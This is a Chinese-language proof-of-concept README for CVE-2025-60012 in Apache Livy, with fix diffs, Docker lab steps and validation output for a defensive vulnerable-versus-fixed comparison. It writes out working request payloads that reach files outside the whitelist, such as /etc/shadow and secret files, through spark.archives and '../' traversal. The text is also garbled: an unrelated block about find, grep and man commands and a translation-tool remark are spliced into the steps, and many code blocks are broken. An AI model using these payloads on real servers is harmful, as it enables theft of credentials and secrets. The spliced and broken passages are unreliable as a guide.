仅供教育和安全研究目的使用。请勿针对非您拥有或未获得明确书面许可的系统进行测试。→ 完整免责声明
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-60012 |
| 严重性 | 中等 (CVSS 6.3) |
| 受影响版本 | Apache Livy 0.7.0-incubating, 0.8.0-incubating — 当连接到 Apache Spark 3.1 或更高版本时 |
| 修复版本 | Apache Livy 0.9.0-incubating |
| CWE | CWE-20: 输入验证不恰当 |
| 披露日期 | 2026-03-13 |
| 报告者 | Furue Hideyuki |
拥有 Livy REST 或 JDBC 接口访问权限的认证用户可以提交带有精心构造的配置值的 Spark 会话或批处理作业。两个弱点共同作用,允许攻击者引用其允许路径之外的本机文件系统文件:
缺少对 spark.archives 的验证 — Spark 3.1 引入了 spark.archives 作为一种在所有集群管理器中分发归档文件的统一方式。Livy 0.8.0 中硬编码的经过路径验证的配置键列表(HARDCODED_SPARK_FILE_LISTS)不包含 spark.archives。通过此键传递的路径因此从未针对本地文件系统白名单(livy.file.local-dir-whitelist)进行检查,从而允许攻击者引用任何本地文件。
白名单检查中的路径遍历绕过 — 即使对于确实经过验证的配置键,Livy 0.8.0 中的白名单比较也对原始路径使用普通的 Java String startsWith 调用。攻击者可以通过路径遍历绕过此检查:/whitelisted/dir/../../etc/passwd 通过字符串检查,但解析到允许的目录之外。
LivyConf.scala受影响版本 (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
修复版本 (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Session.scala受影响版本 (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
修复版本 (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
两个版本均直接从官方 Apache Livy GitHub 仓库克隆到当前工作区,使用以下确切命令:
仓库: https://github.com/apache/incubator-livy```bash
git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0
git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0
| 版本 | 标签 | 已解析提交 | 本地路径 |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |
## 精确代码差异
差异通过克隆两个标签的本地仓库(见上表)并运行:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
LivyConf.scala: spark.archives added to hardcoded file list```diffprivate val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,
**v0.8.0 中缺失条目的影响:**
当用户提交一个会话,其中包含 `conf: {"spark.archives": "file:///etc/passwd"}` 时,Livy 0.8.0 永远不会对该值调用 `resolveURIs()`,也永远不会根据 `livy.file.local-dir-whitelist` 进行检查。该路径未经验证就被转发给 Spark。
---
### 修复 2 — `Session.scala`:在白名单检查之前进行路径规范化```diff
def resolveURI(uri: URI, livyConf: LivyConf): URI = {
...
if (resolved.getScheme() == "file") {
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
}
影响(v0.8.0):
原始字符串 startsWith 检查可能通过路径遍历载荷绕过。
示例:如果 `livy.file.local-dir-whitelist = /opt/safe-data```` /opt/safe-data/../../../etc/passwd
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (已绕过)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
`/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (已阻止)
## 攻击向量总结```
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions (or /batches)
{
"conf": {
"spark.archives": "file:///etc/shadow" ← Attack 1: unvalidated Spark 3.1 key
"spark.jars": "file:///safe/../etc/shadow" ← Attack 2: path traversal bypass
}
}
│
▼
Livy 0.8.0 — validation skipped / bypassed
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
本 PoC 中的所有步骤均在以下系统上执行并验证:
. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh
---
## 概念验证
### 概述```
docker/vulnerable/ → image: cve-2025-60012-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-60012-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
完整端到端序列——按顺序执行步骤1到4:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container
> **注意:** Livy 在 `docker run` 后大约需要 15–20 秒才能就绪。
> 以下所有步骤均包含在执行 API 调用前显式添加的 `sleep 20`。
---
### 步骤 1 — 构建并启动脆弱环境 (Livy 0.8.0 + Spark 3.1.3)
**文件:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal、Spark 3.1.3、Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf` — 绑定在 `0.0.0.0:8998`、本地模式、白名单 = `/opt/safe-data`
**1a. 构建镜像:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/
验证 — 镜像已创建:```bash docker images cve-2025-60012-vulnerable
**`find`**:在目录层次结构中搜索文件。
`find /path -name "*.txt"`
**`grep`**:在文件中搜索文本模式。
`grep "pattern" file.txt`
**`man`**:显示系统手册页。
`man ls`
**`apropos`**:搜索手册页名称和描述。
`apropos editor````
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-60012-vulnerable latest <id> <time> <size>
启动容器:```bash docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable
**验证 — 容器正在运行:**```bash
docker ps --filter name=livy-vulnerable
(没有内容可供翻译。)``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
---
**等待 Livy 启动,然后验证 REST API:**
> Livy 需要大约 15–20 秒初始化后才能提供服务。```bash
sleep 20
curl -s http://localhost:8998/sessions
预期输出:```json {"from":0,"total":0,"sessions":[]}
**1d. 验证容器内的目录布局:**
确认白名单中的安全文件存在:```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
预期输出:``` This file lives inside the whitelisted directory.
确认目标敏感文件存在于白名单之外:```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
预期输出:``` SECRET_KEY=abcdef1234567890 DB_PASSWORD=SuperSecret!
---
### 步骤 2 — 对脆弱环境运行验证
> 步骤 1 中的脆弱容器必须仍在端口 8998 上运行。
**`test/validate.sh` 验证的内容:**
| # | 攻击方式 | 载荷键 | Livy 0.8.0 上的预期结果 |
|---|--------|-------------|-------------------------------|
| 1 | `spark.archives` 未出现在 `LivyConf.scala` 的 `HARDCODED_SPARK_FILE_LISTS` 中 | `spark.archives` | HTTP 201 — 路径被接受但未经验证 |
| 2 | 通过 `Session.scala` 中的 `String.startsWith()` 进行路径遍历 | `spark.jars` 包含 `../` 遍历 | HTTP 201 — 遍历绕过白名单 |
**2a. 运行脚本:**```bash
bash test/validate.sh
期望输出:``` TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key) WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data) PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass) WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
RESULT: VULNERABLE — exit code 1
**2b. 停止并移除存在漏洞的容器:**```bash
docker stop livy-vulnerable && docker rm livy-vulnerable
验证——容器已完全移除:```bash docker ps -a --filter name=livy-vulnerable
预期输出(无行):```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
文件:
docker/fixed/Dockerfile — 相同的基础镜像和 Spark 3.1.3,仅 Livy 版本变为 0.9.0docker/fixed/livy.conf — 与 docker/vulnerable/livy.conf 相同(相同的白名单、端口、模式)保持 Spark、基础镜像和所有配置与步骤 1 相同,将 Livy 作为唯一的变量进行隔离。
3a. 构建镜像:```bash docker build -t cve-2025-60012-fixed docker/fixed/
**验证 — 镜像已创建:**```bash
docker images cve-2025-60012-fixed
预期输出:``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-fixed latest
**3b. 启动容器:**```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed
验证 — 容器正在运行:```bash docker ps --filter name=livy-fixed
预期输出:```
CONTAINER ID IMAGE COMMAND STATUS PORTS
<id> cve-2025-60012-fixed "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
3c. 等待Livy启动,然后验证REST API:```bash sleep 20 curl -s http://localhost:8998/sessions
预期输出:```json
{"from":0,"total":0,"sessions":[]}
来自步骤 3 的修复后的容器必须在端口 8998 上运行。 脚本完全相同——没有变化。
步骤 2 和步骤 4 之间的变化:
HARDCODED_SPARK_FILE_LISTS 验证 spark.archivesPaths.get().normalize() 规范化路径4a. 运行脚本:```bash bash test/validate.sh
> **注意:** `validate.sh` 的工作方式如下:
> 1. 它轮询 `GET /sessions` 直到 Livy 响应(最多60秒),确认服务器已就绪。
> 2. 对于每次攻击,它通过 `curl` 发送 `POST /sessions` 请求,附带精心构造的 `conf` 有效载荷,目标指向白名单之外的文件(`/opt/sensitive/secret.txt`)。
> 3. 它读取 HTTP 响应码:**201** 表示 Livy 接受了该路径而未进行验证(存在漏洞);**400** 表示 Livy 在白名单检查中拒绝了该路径(已修复)。
> 4. 如果会话已创建(HTTP 201),脚本会立即通过 `DELETE /sessions/{id}` 将其删除,以保持服务器清洁。
> 5. 两次测试后,它会打印摘要并退出,返回码 **1**(存在漏洞)或 **0**(已修复),适合在自动化流水线中使用。
**预期输出:**```
TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
RESULT: FIXED — exit code 0
错误消息所确认的内容:
4b. 停止并移除已修复的容器:```bash docker stop livy-fixed && docker rm livy-fixed
**验证 — 容器已完全移除:**```bash
docker ps -a --filter name=livy-fixed
预期输出(空 — 无行):``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
## 推论
CVE-2025-60012 表明,漏洞并不总是需要绕过安全控制——有时,只要找到一条从未经过该控制的路径就足够了。
白名单(`livy.file.local-dir-whitelist`)在 Livy 0.8.0 和 0.9.0 中均存在,并且在两个环境中都正确配置。失败的原因在于其上游:
1. **缺少注册(攻击 1):** `spark.archives` 在 Spark 3.1 中作为 `spark.yarn.dist.archives` 的集群管理器无关替代项引入。Livy 内部用于将路径送入白名单检查的配置键列表(`LivyConf.scala` 中的 `HARDCODED_SPARK_FILE_LISTS`)从未更新以包含该键。因此,任何通过 `spark.archives` 传递的路径都完全未经校验地转发给了 Spark。白名单从未被咨询。
2. **检查本身的逻辑缺陷(攻击 2):** 对于已注册的键,`Session.scala` 中的白名单比较使用了 Java 的 `String.startsWith()` 对原始路径字符串进行比较。这对于文件系统路径比较是不够的,因为它没有考虑 `..` 遍历。例如,路径 `/opt/safe-data/../sensitive/secret.txt` 满足针对白名单条目 `/opt/safe-data` 的字符串检查,但实际上解析到的位置完全在它之外。
综合这两点弱点,这意味着一个经过身份验证的用户——除了对 Livy REST 或 JDBC 接口的访问权限外,无需任何特殊权限——就可以引用 Livy 服务器主机上的任意本地文件。在共享分析集群中,这可能导致凭据、密钥、配置文件或 Livy 进程用户可读取的任何数据泄露。
0.9.0 中的修复是微小且有针对性的:在 `HARDCODED_SPARK_FILE_LISTS` 中添加了一行(弥补注册缺口),并在白名单比较之前添加了一次对 `Paths.get().normalize()` 的调用(弥补路径遍历绕过)。这两个更改都没有修改白名单本身,这证实了白名单从未是问题所在——问题在于送入白名单的代码不完整且不精确。
**防御者的关键要点:** 当 Livy 与 Spark 3.1 或更高版本一起部署时,升级到 Livy 0.9.0-incubating 是唯一完整的补救措施。仅收紧 `livy.file.local-dir-whitelist` 不足以抵御攻击 1,因为在易受攻击的版本中,通过 `spark.archives` 提交的路径完全绕过了该检查。
## 参考
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- OSS-Sec 披露: http://www.openwall.com/lists/oss-security/2026/03/12/1
- Apache 邮件列表: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Apache Livy 项目: https://livy.apache.org/
## 致谢
- **Furue Hideyuki** — CVE-2025-60012 的原始报告者,向 Apache 安全团队报告。
- **Apache Livy 维护者** — 及时进行问题分类并提供 v0.9.0-incubating 中的针对性修复。
- **Apache 安全团队** — 协调负责任披露流程。
- **OSS-Sec 社区** — 提供的公开披露线程使独立分析成为可能。
## 贡献
欢迎贡献以改进此 PoC 或文档!请确保任何贡献:
- 遵循负责任披露实践
- 包含适当的免责声明
- 不包含超出教育演示范围的恶意代码
- 保持以教育价值为重点
如需贡献,请提交拉取请求或提交问题描述提议的更改。
## 许可证
本项目采用 [MIT 许可证](https://github.com/sid6224/cve-2025-60012-poc/blob/main/LICENSE) 授权。
## 免责声明
本仓库仅用于教育和安全研究目的。此概念验证演示了漏洞机制,以帮助理解和防御措施。请勿对您不拥有或未经明确书面许可的系统使用。
## 标签
`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`
| 组件 | 详情 |
|---|
| 主机操作系统 | Ubuntu 24.04.4 LTS (Noble Numbat) |
| 内核 | 6.17.0-14-generic x86_64 |
| 架构 | x86_64 |
| 总内存 | 15.49 GiB |
| Docker 引擎 | 28.2.2 |
| 主机 JDK | OpenJDK 17.0.18(仅主机使用 — 容器使用 eclipse-temurin:11-jdk-focal) |
| 容器基础镜像 | eclipse-temurin:11-jdk-focal(JDK 11,Ubuntu Focal) |
| Spark 版本(两个镜像) | 3.1.3 with Hadoop 3.2 |
| Livy 版本 — 存在漏洞的镜像 | 0.8.0-incubating(Scala 2.12 构建) |
| Livy 版本 — 已修复的镜像 | 0.9.0-incubating(Scala 2.12 构建) |
| 攻击方式 | HTTP | 错误消息 | 已修复的根因 |
|---|
1 — spark.archives | 400 | Local path /opt/sensitive/secret.txt cannot be added to user sessions. | spark.archives 已添加至 LivyConf.scala 中的 HARDCODED_SPARK_FILE_LISTS;路径现在会命中 resolveURI() 的白名单检查 |
| 2 — 路径遍历 | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Paths.get(...).normalize() 已添加至 Session.scala;在白名单比较之前解析 ../ |